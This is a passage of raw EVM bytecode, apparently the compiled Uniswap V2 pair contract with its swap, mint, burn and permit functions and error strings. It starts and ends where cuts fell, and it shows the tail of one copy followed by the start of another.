e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429
608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298